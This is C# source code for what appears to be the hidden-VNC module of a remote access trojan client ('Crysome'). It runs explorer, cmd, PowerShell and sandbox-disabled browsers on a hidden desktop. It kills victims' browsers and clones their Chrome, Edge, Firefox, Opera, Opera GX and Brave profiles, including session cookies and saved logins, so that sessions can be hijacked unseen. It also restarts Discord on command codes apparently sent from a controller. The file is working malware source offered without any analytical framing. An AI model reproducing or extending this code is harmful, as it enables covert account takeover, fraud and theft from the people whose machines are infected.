using System; using System.Diagnostics; using System.IO; using System.Linq; using System.Management; using System.Runtime.InteropServices; using System.Security.Principal; using System.Threading; using System.Threading.Tasks; using Microsoft.Win32; namespace Crysome.Client.Hvnc; internal sealed class HvncProcessHandler { [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] private struct STARTUPINFO { public int cb; public string lpReserved; public string lpDesktop; public string lpTitle; public int dwX; public int dwY; public int dwXSize; public int dwYSize; public int dwXCountChars; public int dwYCountChars; public int dwFillAttribute; public int dwFlags; public short wShowWindow; public short cbReserved2; public IntPtr lpReserved2; public IntPtr hStdInput; public IntPtr hStdOutput; public IntPtr hStdError; } private struct PROCESS_INFORMATION { public IntPtr hProcess; public IntPtr hThread; public int dwProcessId; public int dwThreadId; } private const int CREATE_NEW_CONSOLE = 16; private const int CREATE_UNICODE_ENVIRONMENT = 1024; private readonly string _desktopName; private const string ChromiumFlags = "--no-sandbox --allow-no-sandbox-job --disable-gpu"; [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)] private static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, int dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation); public HvncProcessHandler(string desktopName) { _desktopName = desktopName; } private static bool IsAdmin() { try { using WindowsIdentity ntIdentity = WindowsIdentity.GetCurrent(); return new WindowsPrincipal(ntIdentity).IsInRole(WindowsBuiltInRole.Administrator); } catch { return false; } } public bool StartExplorer() { string text = "C:\\Windows\\explorer.exe /NoUACCheck"; if (IsAdmin() && HvncProcessHelper.RunAsRestrictedUser(text, _desktopName)) { return true; } return CreateProc(text); } public bool StartRunDialog() { return CreateProc("C:\\Windows\\System32\\rundll32.exe shell32.dll,#61"); } public bool StartCmd() { string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.System), "cmd.exe"); text = (string.IsNullOrEmpty(text) ? "cmd.exe" : text); if (IsAdmin() && HvncProcessHelper.RunAsRestrictedUser(text, _desktopName)) { return true; } return CreateProc(text); } public bool StartPowerShell() { string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.System), "WindowsPowerShell", "v1.0", "powershell.exe"); if (!File.Exists(text)) { text = "powershell.exe"; } if (IsAdmin() && HvncProcessHelper.RunAsRestrictedUser(text, _desktopName)) { return true; } return CreateProc(text); } public bool StartNotepad() { string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.System), "notepad.exe"); if (File.Exists(text)) { return CreateProc(text); } return false; } public bool StartCalculator() { string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.System), "calc.exe"); if (File.Exists(text)) { return CreateProc(text); } text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Windows), "System32", "calc.exe"); if (File.Exists(text)) { return CreateProc(text); } return false; } private static string GetRegPath(string keyPath, string valueName = "") { try { if (Registry.GetValue(keyPath, valueName, null) is string text) { string text2 = text.Trim('"'); if (text2.Contains("\"")) { text2 = text2.Split('"')[1]; } return text2; } } catch { } return null; } public string GetChromePath() { try { using RegistryKey registryKey = RegistryKey.OpenBaseKey(RegistryHive.ClassesRoot, RegistryView.Registry32).OpenSubKey("ChromeHTML\\shell\\open\\command"); if (registryKey != null && registryKey.GetValue(null) is string text) { string[] array = text.Split('"'); return (array.Length >= 2) ? array[1] : null; } } catch { } return null; } public string GetEdgePath() { try { using RegistryKey registryKey = RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, RegistryView.Registry64).OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\msedge.exe"); return registryKey?.GetValue("") as string; } catch { } return null; } public string GetFirefoxPath() { try { using RegistryKey registryKey = RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, RegistryView.Registry64).OpenSubKey("SOFTWARE\\Mozilla\\Mozilla Firefox"); if (!(registryKey?.GetValue("CurrentVersion") is string text)) { return null; } using RegistryKey registryKey2 = RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, RegistryView.Registry64).OpenSubKey("SOFTWARE\\Mozilla\\Mozilla Firefox\\" + text + "\\Main"); return registryKey2?.GetValue("PathToExe") as string; } catch { } return null; } public string GetOperaPath() { try { using RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Clients\\StartMenuInternet"); if (registryKey == null) { return null; } string[] subKeyNames = registryKey.GetSubKeyNames(); foreach (string text in subKeyNames) { if (!text.Contains("Opera") || text.Contains("GX")) { continue; } using RegistryKey registryKey2 = registryKey.OpenSubKey(text + "\\shell\\open\\command"); if (registryKey2?.GetValue("") is string text2) { return text2.Trim('"'); } } } catch { } return null; } public string GetOperaGXPath() { try { using RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Clients\\StartMenuInternet"); if (registryKey == null) { return null; } string[] subKeyNames = registryKey.GetSubKeyNames(); foreach (string text in subKeyNames) { if (!text.Contains("Opera") || !text.Contains("GX")) { continue; } using RegistryKey registryKey2 = registryKey.OpenSubKey(text + "\\shell\\open\\command"); if (registryKey2?.GetValue("") is string text2) { return text2.Trim('"'); } } } catch { } return null; } public string GetBravePath() { return GetRegPath("HKEY_CLASSES_ROOT\\BraveHTML\\shell\\open\\command"); } public bool StartChrome() { string chromePath = GetChromePath(); if (string.IsNullOrEmpty(chromePath) || !File.Exists(chromePath)) { return false; } return CreateProc("\"" + chromePath + "\" --no-sandbox --allow-no-sandbox-job --disable-gpu --user-data-dir=C:\\ChromeAutomationData"); } public bool StartChromeCloned() { string chromePath = GetChromePath(); if (string.IsNullOrEmpty(chromePath) || !File.Exists(chromePath)) { return false; } return CreateProc("\"" + chromePath + "\" --no-sandbox --allow-no-sandbox-job --disable-gpu --user-data-dir=C:\\ChromeAutomationData"); } public bool StartEdge() { string edgePath = GetEdgePath(); if (string.IsNullOrEmpty(edgePath) || !File.Exists(edgePath)) { return false; } return CreateProc("\"" + edgePath + "\" --no-sandbox --allow-no-sandbox-job --disable-gpu --user-data-dir=C:\\EdgeAutomationData"); } public bool StartFirefox() { string firefoxPath = GetFirefoxPath(); if (string.IsNullOrEmpty(firefoxPath) || !File.Exists(firefoxPath)) { return false; } return CreateProc("\"" + firefoxPath + "\" -no-remote -profile C:\\FirefoxAutomationData"); } public bool StartOpera() { string operaPath = GetOperaPath(); if (string.IsNullOrEmpty(operaPath) || !File.Exists(operaPath)) { return false; } return CreateProc("\"" + operaPath + "\" --no-sandbox --allow-no-sandbox-job --disable-gpu --user-data-dir=C:\\OperaAutomationData"); } public bool StartOperaGX() { string operaGXPath = GetOperaGXPath(); if (string.IsNullOrEmpty(operaGXPath) || !File.Exists(operaGXPath)) { return false; } return CreateProc("\"" + operaGXPath + "\" --no-sandbox --allow-no-sandbox-job --disable-gpu --user-data-dir=C:\\OperaGXAutomationData"); } public bool StartBrave() { string bravePath = GetBravePath(); if (string.IsNullOrEmpty(bravePath) || !File.Exists(bravePath)) { return false; } return CreateProc("\"" + bravePath + "\" --no-sandbox --allow-no-sandbox-job --disable-gpu --user-data-dir=C:\\BraveAutomationData"); } private static void KillBrowsersByDefaultProfile(string exeName, string automationDataDir) { try { foreach (ManagementObject item in new ManagementObjectSearcher("SELECT ProcessId, CommandLine FROM Win32_Process WHERE Name = '" + exeName + "'").Get()) { if (!(item["CommandLine"]?.ToString() ?? "").Contains(automationDataDir)) { try { Process.GetProcessById(Convert.ToInt32(item["ProcessId"])).Kill(); } catch { } } } } catch { } } public bool StartDiscord() { string text = null; try { using RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Discord"); text = registryKey?.GetValue("DisplayIcon") as string; if (text != null) { text = text.Trim('"'); } } catch { } Process[] processesByName; if (string.IsNullOrEmpty(text) || !File.Exists(text)) { text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Discord", "Update.exe"); if (!File.Exists(text)) { return false; } processesByName = Process.GetProcessesByName("Discord"); foreach (Process process in processesByName) { try { process.Kill(); } catch { } } return CreateProc("\"" + text + "\" --processStart Discord.exe"); } processesByName = Process.GetProcessesByName("Discord"); foreach (Process process2 in processesByName) { try { process2.Kill(); } catch { } } return CreateProc("\"" + text + "\""); } private static string UserProfilePath(string rel) { return Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.UserProfile), rel); } private static async Task CopyDirAsync(string sourceDir, string destDir) { if (string.IsNullOrEmpty(sourceDir) || !Directory.Exists(sourceDir)) { return false; } try { if (Directory.Exists(destDir)) { await Task.Run(delegate { try { Directory.Delete(destDir, recursive: true); } catch { } }); } await Task.Run(() => Directory.CreateDirectory(destDir)); foreach (string item in Directory.EnumerateDirectories(sourceDir, "*", SearchOption.AllDirectories)) { string rel = item.Substring(sourceDir.Length + 1); await Task.Run(() => Directory.CreateDirectory(Path.Combine(destDir, rel))); } SemaphoreSlim sem = new SemaphoreSlim(10); await Task.WhenAll(Directory.EnumerateFiles(sourceDir, "*", SearchOption.AllDirectories).Select((Func)async delegate(string file) { await sem.WaitAsync(); try { string path = file.Substring(sourceDir.Length + 1); string dest = Path.Combine(destDir, path); await Task.Run(delegate { try { File.Copy(file, dest, overwrite: true); } catch { } }); } finally { sem.Release(); } })); return true; } catch { return false; } } private static string RecursiveFindDir(string dir, string markerFile) { if (string.IsNullOrEmpty(dir) || !Directory.Exists(dir)) { return null; } if (File.Exists(Path.Combine(dir, markerFile))) { return dir; } try { string[] directories = Directory.GetDirectories(dir); for (int i = 0; i < directories.Length; i++) { string text = RecursiveFindDir(directories[i], markerFile); if (text != null) { return text; } } } catch { } return null; } private static async Task FindProcessByCommandLine(string processName, string searchStr) { return await Task.Run(delegate { try { foreach (ManagementObject item in new ManagementObjectSearcher("SELECT * FROM Win32_Process WHERE Name = '" + processName + "'").Get()) { string text = item["CommandLine"]?.ToString(); if (text != null && text.Contains(searchStr)) { return Convert.ToInt32(item["ProcessId"]); } } } catch { } return -1; }); } private async Task CloneChromeAsync() { return await CopyDirAsync(UserProfilePath("AppData\\Local\\Google\\Chrome\\User Data"), "C:\\ChromeAutomationData"); } private async Task CloneEdgeAsync() { return await CopyDirAsync(UserProfilePath("AppData\\Local\\Microsoft\\Edge\\User Data"), "C:\\EdgeAutomationData"); } private async Task CloneFirefoxAsync() { string text = RecursiveFindDir(UserProfilePath("AppData\\Roaming\\Mozilla\\Firefox\\Profiles"), "addons.json"); bool flag = text != null; if (flag) { flag = await CopyDirAsync(text, "C:\\FirefoxAutomationData"); } return flag; } private async Task CloneOperaAsync() { return await CopyDirAsync(UserProfilePath("AppData\\Roaming\\Opera Software\\Opera Stable"), "C:\\OperaAutomationData"); } private async Task CloneOperaGXAsync() { return await CopyDirAsync(UserProfilePath("AppData\\Roaming\\Opera Software\\Opera GX Stable"), "C:\\OperaGXAutomationData"); } private async Task CloneBraveAsync() { return await CopyDirAsync(UserProfilePath("AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data"), "C:\\BraveAutomationData"); } private async Task HandleCloneChromeAsync() { KillBrowsersByDefaultProfile("chrome.exe", "ChromeAutomationData"); if (!(await CloneChromeAsync())) { int num = await FindProcessByCommandLine("chrome.exe", "ChromeAutomationData"); if (num >= 0) { try { Process.GetProcessById(num).Kill(); } catch { } await CloneChromeAsync(); } } Thread.Sleep(1000); StartChromeCloned(); } private async Task HandleCloneEdgeAsync() { KillBrowsersByDefaultProfile("msedge.exe", "EdgeAutomationData"); if (!(await CloneEdgeAsync())) { int num = await FindProcessByCommandLine("msedge.exe", "EdgeAutomationData"); if (num >= 0) { try { Process.GetProcessById(num).Kill(); } catch { } await CloneEdgeAsync(); } } Thread.Sleep(1000); StartEdge(); } private async Task HandleCloneFirefoxAsync() { KillBrowsersByDefaultProfile("firefox.exe", "FirefoxAutomationData"); if (!(await CloneFirefoxAsync())) { int num = await FindProcessByCommandLine("firefox.exe", "FirefoxAutomationData"); if (num >= 0) { try { Process.GetProcessById(num).Kill(); } catch { } await CloneFirefoxAsync(); } } Thread.Sleep(1000); StartFirefox(); } private async Task HandleCloneOperaAsync() { KillBrowsersByDefaultProfile("opera.exe", "OperaAutomationData"); if (!(await CloneOperaAsync())) { int num = await FindProcessByCommandLine("opera.exe", "OperaAutomationData"); if (num >= 0) { try { Process.GetProcessById(num).Kill(); } catch { } await CloneOperaAsync(); } } Thread.Sleep(1000); StartOpera(); } private async Task HandleCloneOperaGXAsync() { KillBrowsersByDefaultProfile("opera.exe", "OperaGXAutomationData"); if (!(await CloneOperaGXAsync())) { int num = await FindProcessByCommandLine("opera.exe", "OperaGXAutomationData"); if (num >= 0) { try { Process.GetProcessById(num).Kill(); } catch { } await CloneOperaGXAsync(); } } Thread.Sleep(1000); StartOperaGX(); } private async Task HandleCloneBraveAsync() { KillBrowsersByDefaultProfile("brave.exe", "BraveAutomationData"); if (!(await CloneBraveAsync())) { int num = await FindProcessByCommandLine("brave.exe", "BraveAutomationData"); if (num >= 0) { try { Process.GetProcessById(num).Kill(); } catch { } await CloneBraveAsync(); } } Thread.Sleep(1000); StartBrave(); } public void HandleCloneRequest(byte action) { Task.Run(async delegate { _ = 5; try { switch (action) { case 11: await HandleCloneChromeAsync(); break; case 12: await HandleCloneEdgeAsync(); break; case 13: await HandleCloneFirefoxAsync(); break; case 14: await HandleCloneOperaAsync(); break; case 15: await HandleCloneOperaGXAsync(); break; case 16: await HandleCloneBraveAsync(); break; case 19: StartDiscord(); break; case 17: case 18: break; } } catch (Exception ex) { Program.Log("HVNC clone: " + ex.Message); } }); } public bool CreateProc(string commandLine) { if (string.IsNullOrEmpty(commandLine)) { return false; } STARTUPINFO lpStartupInfo = new STARTUPINFO { cb = Marshal.SizeOf(typeof(STARTUPINFO)), lpDesktop = _desktopName }; PROCESS_INFORMATION lpProcessInformation; return CreateProcess(null, commandLine, IntPtr.Zero, IntPtr.Zero, bInheritHandles: false, 1040, IntPtr.Zero, null, ref lpStartupInfo, out lpProcessInformation); } }